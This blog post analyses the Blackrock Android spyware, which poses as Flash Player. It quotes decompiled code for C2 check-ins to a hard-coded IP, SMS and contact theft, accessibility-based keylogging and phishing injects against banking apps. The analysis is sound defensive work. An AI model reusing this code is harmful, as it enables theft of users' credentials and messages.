Application Details
Name : Flash Player
Package : artwork.differ.kitchen
SHA256 Hash : a25bf4bdb2ed9872456af0057eb21ce31fd03d680d63a9da469519060b4814bc
Introduction
Hey there! Welcome to the seventh blog in our Mobile Malware Analysis series. Today, let’s dive into Blackrock, a sneaky spyware that takes its commands from a hidden server. This malware uses tricks like messing with accessibility settings and pulling off phishing stunts to snatch keylogs and getting users to spill personal info.
Without any further delay, lets work into dissecting this malicious sample.
Analysis
Here is the initial analysis check by Virustotal
![1 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/1-1-1024x542.png)
Lets open this sample in JADX to know how it works.
AndroidManifest.xml
Looking at these permissions we could understand that the app will be using our Contacts , External Storage, Accessibility Service , SMS and much more.
As for the components , except for the Application Subclass , none of the component are available in the disk which means they must be loaded dynamically at runtime.
Lets check out the dynamic loading using Medusa.
Here is the list of scripts that can be used to check for Dumping and Loading of Dynamic Dex Code.
memory_dump/dump_dyndex
memory_dump/dump_dex
code_loading/load_class
code_loading/dynamic_code_loading
![2 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/2-1024x401.png)
We could see a file named wumso.json
which is stored in /data/user/0/artwork.differ.kitchen/app_DynamicOptDex
is loaded using DexClassLoader and we could also see classes like security.sword.AlarmBroadCastReceiver
, security.sword.Permission
is getting loaded.
Now that we got our DEX file , lets start our analysis from security.sword.MainActivity
.
MainActivity
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
b.a().a(this);
startService(new Intent(this, CommandService.class));
ComponentName componentName = new ComponentName(this,MainActivity.class);
PackageManager packageManager = getPackageManager();
getPackageManager();
packageManager.setComponentEnabledSetting(componentName, 2, 1);
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
}
In Function a(Context c)
, they are creating an PendingIntent for AlarmBroadcastReceiver
and uses another helper method that uses AlarmManager to schedule the PendingIntent to be executed after a specified delay.
Lets check the working of AlarmBroadcastReceiver.
public class AlarmBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String name = getClass().getName();
Log.d(name, "time second : " + new Date().toString());
b.a().a(context);
if (!a(context, CommandService.class)) {
try {
context.startService(new Intent(context, CommandService.class));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
private boolean a(Context context, Class serviceClass) {
ActivityManager manager = (ActivityManager) context.getSystemService("activity");
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
Its basically checks whether a service named CommandService
is running or not. If not running , start that service.
Coming back to MainActivity,
CommandService
is startedUsing
packageManager.setComponentEnabledSetting(``componentName, 2, 1);
, they are hiding the app icon. (This is pretty common amongst Android Malwares to maintain persistence)
Lets now check CommandService .
CommandService
Starting from onStartCommand()
, we can see the following.
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("Test", "Service: onStartCommand");
try {
this.f205b = this;
f();
return 1;
} catch (Exception e) {
e.printStackTrace();
return 1;
}
}
Function f
initializes a Scheduler to execute Method c
at a regular interval.
void c() {
String Accessibility;
String screen;
try {
this.f204a.getClass();
security.sword.a.b("26kozQaKwRuNJ24t", this.f204a.f270a);
this.f204a.getClass();
security.sword.a decrypted = security.sword.a.a("26kozQaKwRuNJ24t", "MzVBOEU4RUExNzdDNTA3NzN2d4aaiU2eCF7zGpaxGnZoCUs4ByC63zVz9mHieQqu");
String.valueOf(decrypted).equals(this.f204a.f270a);
} catch (Exception e) {
e.printStackTrace();
}
try {
boolean accessibilityServiceEnabled = a(this.f205b, AccesService.class);
if (!accessibilityServiceEnabled) {
Accessibility = "0";
try {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new a());
} catch (Exception e2) {
e2.printStackTrace();
}
} else {
Accessibility = "1";
if (Build.VERSION.SDK_INT >= 23 && !d()) {
Intent as = new Intent(this.f205b, Permission.class);
as.addFlags(268468224);
this.f205b.startActivity(as);
}
}
String IMEI = Settings.Secure.getString(getContentResolver(), "android_id");
KeyguardManager km = (KeyguardManager) getSystemService("keyguard");
boolean locked = km.inKeyguardRestrictedInputMode();
if (locked) {
screen = "0";
} else {
screen = "1";
}
String whitelist = "0";
if (Build.VERSION.SDK_INT >= 23) {
PowerManager powerManager = (PowerManager) getSystemService("power");
boolean inWhiteList = powerManager.isIgnoringBatteryOptimizations(getPackageName());
whitelist = inWhiteList ? "1" : "0";
}
String model = a(this);
String Log = String.format("{ \"action\": \"reg\", \"params\": { \"imei\": \"%s\",\"whitelist\": \"%s\",\"model\": \"%s\",\"Accessibility\": \"%s\",\"screen\": \"%s\"}}", IMEI, whitelist, model, Accessibility, screen);
new b(Log).execute(1);
if (Build.VERSION.SDK_INT >= 21) {
e();
}
} catch (Exception e3) {
e3.printStackTrace();
}
}
We could see some interesting classes and strings being used here.
Although the initial try-catch block was nothing useful, we need to take a note of class f204a
which had member variables like,
public class d {
String f270a = "http://185.215.113.90/";
String[] f271b = {"com.leumi.leumiwallet", "com.westernunion.moneytransferr3app.es", "com.ubercab.eats", "com.kraken.trade", [..REDACTED..]};
String[] f272c = {"org.telegram.messenger", "com.viber.voip", "com.whatsapp", "com.whatsapp.w4b", "com.twitter.android", [..REDACTED..]};
String[] d = {"com.kms.free", "com.drweb", "com.eset.endpoint", "com.eset.parental", "com.eset.stagefrightdetector", [..REDACTED..]};
}
We got an HTTP URL which we can consider as our C2C server and some arrays which contains package names of famous applications like Telegram , Whatsapp , Twitter etc..
Continuing with Method c
of CommandService,
In the next try-block , it is checking whether Accessibility Service of this app has been enabled or not and based on that , code gets executed.
If not enabled , then it will request the user to enable it.
If enabled, then it will create an intent for
Permission
activity and start it.
After that, the code collects information like IMEI , whether any sort of Lock screen is used by the device , List of apps whose package names matches the array f271b
of class f204a
we discussed little above. After adding these information in a formatted string, it gets passed to a class g
that extends AsyncTask.
Lets first check doInBackground()
.
public String doInBackground(String... arg0) {
String Log = arg0[0];
try {
f277b.getClass();
a encrypted = a.b("26kozQaKwRuNJ24t", String.valueOf(Log));
String data = "data=" + encrypted.a();
String link = f277b.url + "gate.php";
URL url = new URL(link);
URLConnection conn = url.openConnection();
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
wr.write(data);
wr.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder sb = new StringBuilder();
while (true) {
String line = reader.readLine();
if (line != null) {
sb.append(line);
} else {
return sb.toString();
}
}
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
We could see that an URLConnection object is created for the URL http://185.215.113.90/gate.php and the string that contained information of our device is being sent to the C2C server.
Looking into onPostExecute
, it is basically getting some commands from the server based on which code gets executed. Lets take a look at these commands and the actions performed.
public void onPostExecute(String result) {
super.onPostExecute(result);
if (result != null) {
try {
f275b.getClass();
a decrypted = a.a("26kozQaKwRuNJ24t", result);
JSONObject obj = new JSONObject(String.valueOf(decrypted.a()));
String action = obj.getString("action");
JSONObject params = obj.getJSONObject("params");
if (action.equals("Send_SMS")) {
try {
c.c(f274a, params);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("Flood_SMS")) {
try {
c.a(f274a, params);
} catch (Exception e2) {
e2.printStackTrace();
}
}
if (action.equals("Download_SMS")) {
try {
c.c(f274a);
} catch (Exception e3) {
e3.printStackTrace();
}
}
if (action.equals("Spam_on_contacts")) {
try {
c.d(f274a, params);
} catch (Exception e4) {
e4.printStackTrace();
}
}
if (action.equals("Change_SMS_Manager")) {
try {
c.b(f274a);
} catch (Exception e5) {
e5.printStackTrace();
}
}
if (action.equals("Run_App")) {
try {
c.b(f274a, params);
} catch (Exception e6) {
e6.printStackTrace();
}
}
if (action.equals("StartKeyLogs")) {
try {
c.f(f274a);
} catch (Exception e7) {
e7.printStackTrace();
}
}
if (action.equals("StopKeyLogs")) {
try {
c.i(f274a);
} catch (Exception e8) {
e8.printStackTrace();
}
}
if (action.equals("StartPush")) {
try {
c.g(f274a);
} catch (Exception e9) {
e9.printStackTrace();
}
}
if (action.equals("StopPush")) {
try {
c.j(f274a);
} catch (Exception e10) {
e10.printStackTrace();
}
}
if (action.equals("Hide_Screen_Lock")) {
try {
c.d(f274a);
} catch (Exception e11) {
e11.printStackTrace();
}
}
if (action.equals("Unlock_Hide_Screen")) {
try {
c.l(f274a);
} catch (Exception e12) {
e12.printStackTrace();
}
}
if (action.equals("Admin")) {
try {
c.a(f274a);
} catch (Exception e13) {
e13.printStackTrace();
}
}
if (action.equals("Profile")) {
try {
c.e(f274a);
} catch (Exception e14) {
e14.printStackTrace();
}
}
if (action.equals("Start_clean_Push")) {
try {
c.h(f274a);
} catch (Exception e15) {
e15.printStackTrace();
}
}
if (action.equals("Stop_clean_Push")) {
try {
c.k(f274a);
} catch (Exception e16) {
e16.printStackTrace();
}
}
} catch (Exception e17) {
e17.printStackTrace();
}
}
}
Send_SMS
![3 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/3-1024x533.png)
For this command , the app receives phone number and text from a JSONObject
sent by the server as show in line 37 and 38 respectively.
It then sends the message to the corresponding number using sms.sendMultipartTextMesage()
.
Flood_SMS
![4 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/4-1024x398.png)
![5 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/5-1024x558.png)
Works in the way Send_SMS works i.e receives Text content and Phone number from the JSONObject
sent by the server and sends a message to that Phone number. But here it uses a SchedulerExecutorService
to send message every 5 second.
Download_SMS
![6 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/6-1024x359.png)
In Line 104, we could see the code uses the system content provider content://sms
.
In Lines 109,110,111 using a while loop , they collect information like Body , Phone Number and whether that message is an Outgoing or Incoming message and sends all these information back to the server.
Spam_on_contacts
![7 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/7-1024x427.png)
In Line 190, they are querying ContactsContract.CommonDataKinds.Phone.CONTENT_URI
URI and receive a cursor of it. Using the cursor, it is collecting the phone numbers in our contacts and sends a message using sendTextMessage()
with text of message provided by the server in line 186.
Change_SMS_Manager
Checks whether this application is working as the default SMS Application. Here is the check.
boolean currentDefault = Telephony.Sms.getDefaultSmsPackage(this.f231a).equals(packageInfo.applicationInfo.packageName);
If not it starts an intent requesting the user to select this app as the default app.
![8 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/8-1024x129.png)
StartKeyLogs
The ultimate goal of this command is to collect the text content present on screen and sends it to the server. (Its Working will be discussed when we discuss the working Accessibility Service AccessService
)
Initially, this command just creates file named StartKeyLogs.txt
in /sdcard
directory.
![9 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/9.png)
StopKeyLogs
Final goal of this command is to stop logging the events from targets
Performs by deleting the file StartKeyLogs.txt
created for StartKeyLogs
command.
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
filedel.delete();
Hide_Screen_Lock
Final goal of this command is to keep the device on the home screen using. (Working will be explained during AccessService
analysis).
Just like StartKeyLogs
, it creates Screen_Lock.txt
in /sdcard
directory.
Unlock_Hide_Screen
Deletes Screen_Lock.txt
file from /sdcard
directory. Ultimately unlocking the device from the home screen
Profile
Adds a managed admin profile for this application
Performs this by starting Systems
activity.
In Systems
activity,
![10 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/10-1024x464.png)
In Line 18 , they are first checking whether this application is registered as the profile owner for the user.
If not it calls function a
where depending on the SDK Version , they use various intent filters to request the user to grant Profile Owner privileges for this application.
Start_clean_Push
End goal of this command is to dismiss all push notifications. (Its working will be discussed when looking into AccessService
).
Initially, this command just creates file named StartCleanPush.txt
in /sdcard
directory.
![11 - 8ksec - 8ksec](https://8ksec.io/wp-content/uploads/2024/03/11.png)
Stop_clean_Push
Stops dismissing push notifications.
Performs by deleting the file StartCleanPush.txt
created for Start_clean_Push
command.
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartCleanPush.txt");
filedel.delete();
Run_App
try {
App = params.getString("App");
} catch (Exception e2) {
e2.printStackTrace();
}
try {
Intent i2 = context.getPackageManager().getLaunchIntentForPackage(App);
context.startActivity(i2);
} catch (Exception e3) {
e3.printStackTrace();
}
Starts the app whose package name is provided by the server
Admin
It creates an intent to start Admin
activity.
In Admin Activity,
try {
DevicePolicyManager mDPM = (DevicePolicyManager) getSystemService("device_policy");
ComponentName mDeviceAdmin = new ComponentName(this, Admins.class);
if (!mDPM.isAdminActive(mDeviceAdmin)) {
Intent intentt = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intentt.putExtra("android.app.extra.DEVICE_ADMIN", mDeviceAdmin);
intentt.putExtra("android.app.extra.ADD_EXPLANATION", "To update the version");
startActivity(intentt);
}
} catch (Exception e) {
}
It aims to get Admin Privileges for this application using android.app.action.ADD_DEVICE_ADMIN
.
Now that we have looked at the commands , if we think back , assume we provided Accessibility service for this application it started Permission
activity. Lets take a look at it.
Permission Activity
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (Build.VERSION.SDK_INT >= 23) {
g();
return;
}
try {
PackageManager pm = getPackageManager();
List packages = pm.getInstalledApplications(128);
for (ApplicationInfo pInfo : packages) {
String str1 = pInfo.packageName;
if (Arrays.asList(this.f217a.f269b).contains(str1)) {
new e(this).execute(pInfo.packageName);
}
}
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
In function g
, they are asking permission for READ_EXTERNAL_STORAGE
, EQUEST_IGNORE_BATTERY_OPTIMIZATIONS
, READ_CONTACTS
and much more.
If we look at the try-catch case , we could see they are running a loop to see whether package name is present in the list of predefined package names. If it matches then , AsyncTask e
is executed.
public String doInBackground(String... arg0) {
String App = arg0[0];
try {
String PATH = this.f272b.getFilesDir().getAbsolutePath() + File.separator;
URL url = new URL(this.f271a.url + "public_image/" + App + ".zip");
HttpURLConnection c2 = (HttpURLConnection) url.openConnection();
c2.setRequestMethod("GET");
c2.connect();
FileOutputStream fos = this.f272b.openFileOutput(App + ".zip", 0);
InputStream is = c2.getInputStream();
byte[] buffer = new byte[16384];
while (true) {
int len1 = is.read(buffer);
if (len1 == -1) {
break;
}
fos.write(buffer, 0, len1);
}
fos.close();
is.close();
i.a(PATH + App + ".zip", PATH, "");
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
We could see that they are downloading a zip file from the URL that looks like
[http://185.215.113.90/<package_name>.zip](http://185.215.113.90/<package_name>.zip)
and saves it in /data/user/0/artwork.differ.kitchen/files
. Later this zip file is unzipped.
NOTE: At the time of writing this blog , the C2C server was down.
Now lets turn our attention to AccessService
which is responsible for handling the accessibility events.
AccessService
try {
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
String str1 = String.format("%s", event.getPackageName());
if (!settings.getBoolean("injActive", false)) {
File fs = new File(getFilesDir().getAbsolutePath() + File.separator + str1);
if (fs.exists() && fs.isDirectory()) {
Intent as = new Intent(this, Inject.class).putExtra("str", str1);
as.addFlags(268468224);
startActivity(as);
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
When an app creates an AccessibilityEvent
, if its package name is part of the array f269b
(which contains list of all Popular Banking Applications) , it creates an intent for Inject
activity with its package name as an extra.
@Override
protected void onStart() {
super.onStart();
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
String INJURL = getFilesDir().getAbsolutePath() + File.separator;
try {
this.f210a = new WebView(this);
this.f210a.getSettings().setJavaScriptEnabled(true);
this.f210a.setScrollBarStyle(0);
this.f210a.setWebChromeClient(new WebChromeClient());
this.f210a.addJavascriptInterface(new h(this, appName), "Android");
this.f210a.setWebViewClient(new a(this));
this.f210a.loadUrl("file:///" + INJURL + appName + "/index.html");
setContentView(this.f210a);
this.f210a.setWebViewClient(new b(appName));
} catch (Exception e) {
e.printStackTrace();
}
}
We could see that this activity has a webview which loads a HTML script from the Files directory of this app’s private directory and if we remember correctly this app downloads zip file from the C2C server and saves it in the same Files directory.
try {
File f3 = new File(Environment.getExternalStorageDirectory() + "/inj.txt");
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f270c).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings2 = PreferenceManager.getDefaultSharedPreferences(this);
String str12 = String.format("%s", event.getPackageName());
if (!settings2.getBoolean("injActive", false) && !f3.exists() && !f3.isFile()) {
Intent as2 = new Intent(this, InjectCC.class).putExtra("str", str12);
as2.addFlags(268468224);
startActivity(as2);
}
}
} catch (Exception e2) {
e2.printStackTrace();
}
In this try-catch block , like the previous block they are checking the package name of the app that created the event is found in Arrayf270c
(This array contains package names of popular messaging applications). If found in this array, it creates an intent to InjectCC
activity.
@Override
protected void onStart() {
super.onStart();
SharedPreferences settings =PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
try {
this.f213a = new WebView(this);
this.f213a.getSettings().setJavaScriptEnabled(true);
this.f213a.setScrollBarStyle(0);
this.f213a.setWebChromeClient(new WebChromeClient());
this.f213a.setBackgroundColor(0);
this.f213a.setLayerType(1, null);
this.f213a.addJavascriptInterface(new h(this, appName), "Android");
this.f213a.setWebViewClient(new a(this));
this.f213a.loadUrl("file:///android_asset/android/index.html");
setContentView(this.f213a);
this.f213a.setWebViewClient(new b());
} catch (Exception e) {
e.printStackTrace();
}
}
Even though this webview doesn’t load custom HTML script for each application and just loads [file:///android_asset/android/index.html](file:///android_asset/android/index.html)
, the package name is being passed to the JavascriptInterface
.
NOTE: Both Inject and InjectCC Webview uses same Javascript Interface class i.e Class h.
In class h
, we have functions like sendDataToServer
, sendDataToServers
, send_log_injects
that collects (phishing) information like Credit Card Number and others from the user and sends it to the server.
Commands like StartPush
, StartKeyLogs
and StartCleanPush
uses Accessibility Services to perform their actions. Lets look at how they work.
StartPush
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f11 = new File(Environment.getExternalStorageDirectory() + "/StartPush.txt");
if (f11.exists() && f11.isFile()) {
try {
String AndroidId = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
byte[] encrpt2 = new byte[0];
try {
encrpt = String.format("NOTIFICATION: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event)).getBytes("UTF-8");
} catch (UnsupportedEncodingException e3) {
e3.printStackTrace();
encrpt = encrpt2;
}
String base64 = Base64.encodeToString(encrpt, 2);
if (b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED")) {
String Log = String.format("{ \"action\": \"pushlog\", \"params\": { \"imei\": \"%s\", \"type\": \"pushlog\", \"text\": \"%s\" }}", AndroidId, base64);
new a(Log).execute(1);
}
}
return;
} catch (Exception e4) {
e4.printStackTrace();
}
}
This command first checks whether StartPush.txt
is present or not. This block code gets executed when an AccessibilityEvent of type TYPE_NOTIFICATION_STATE_CHANGED
is generated. Then using function a
it collects notification content and sends it to the server.
Hide_Screen_Lock
try {
File f32 = new File(Environment.getExternalStorageDirectory() + "/Screen_Lock.txt");
if (f32.exists() && f32.isFile()) {
performGlobalAction(2);
}
} catch (Exception e8) {
e8.printStackTrace();
}
According to the Android Developer Documentation , performGlobalAction()
Performs a global action. Such an action can be performed at any moment regardless of the current application or user location in that application.
Parameter Value ⇒ 2 denotes Action to go home.
Lets look at the code for security/sword/AccesService We’ll look at StartKeyLogs.
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f7 = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
if (f7.exists() && f7.isFile()) {
try {
if (Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
String AndroidId2 = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
String Logs = String.format("KeyLogs: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event));
Log.v("AccesService", Logs);
byte[] encrpt3 = new byte[0];
try {
encrpt3 = Logs.getBytes("UTF-8");
} catch (UnsupportedEncodingException e10) {
e10.printStackTrace();
}
String base642 = Base64.encodeToString(encrpt3, 2);
String Log2 = String.format("{ \"action\": \"log\", \"params\": { \"imei\": \"%s\", \"type\": \"keylog\", \"text\": \"%s\" }}", AndroidId2, base642);
new b(Log2).execute(1);
}
return;
}
} catch (Exception e11) {
e11.printStackTrace();
}
}
When an application creates an AccessibilityEvent , if it belongs to list of targeted applications listed by array f269b , using event.getText() , it collects all text content present on the screen and exfiltrates the information to the server.
In short when we open a banking application for e.g Coinbase and if we perform some event like Long click , Selecting a text etc. it triggers our application. Then it finds the Coinbase application and steals content on the screen.
Targeted Apps
Here is the list of some of the targeted applications.
App Name | Package Name |
---|---|
לאומי | com.leumi.leumiwallet |
Western Union | com.westernunion.moneytransferr3app.es |
Coinbase | org.toshi |
Kraken | com.kraken.trade |
Cryptopay | me.cryptopay.android |
Santander Argentina | ar.com.santander.rio.mbanking |
Coinbase: Buy Bitcoin & Ether | com.coinbase.android |
myRAMS | au.com.rams.RAMS |
BitPay – Secure Bitcoin Wallet | com.bitpay.wallet |
Lloyds Bank Business Mobile Banking | com.lloydsbank.businessmobile |
HSBC Mobile Banking | com.htsu.hsbcpersonalbanking |
Garanti BBVA Cep Şifrematik | biz.mobinex.android.apps.cep_sifrematik |
imo beta | com.imo.android.imoimbeta |
Mercado Pago: cuenta digital | om.mercadopago.wallet |
Kotak Mobile Banking App | com.msf.kbank.mobile |
YONO Buisness | com.sbi.SBAnywhereCorporate |
AU 0101 | au.com.ubank.internetbanking |
Conclusion
In conclusion, Blackrock’s covert maneuvers, exploiting accessibility settings and phishing tactics, pose a serious threat to mobile security. Unveiling its deceptive strategies sheds light on the importance of vigilant defenses. Dive into our detailed analysis to fortify your understanding and defenses against this sophisticated spyware. Stay informed, stay secure.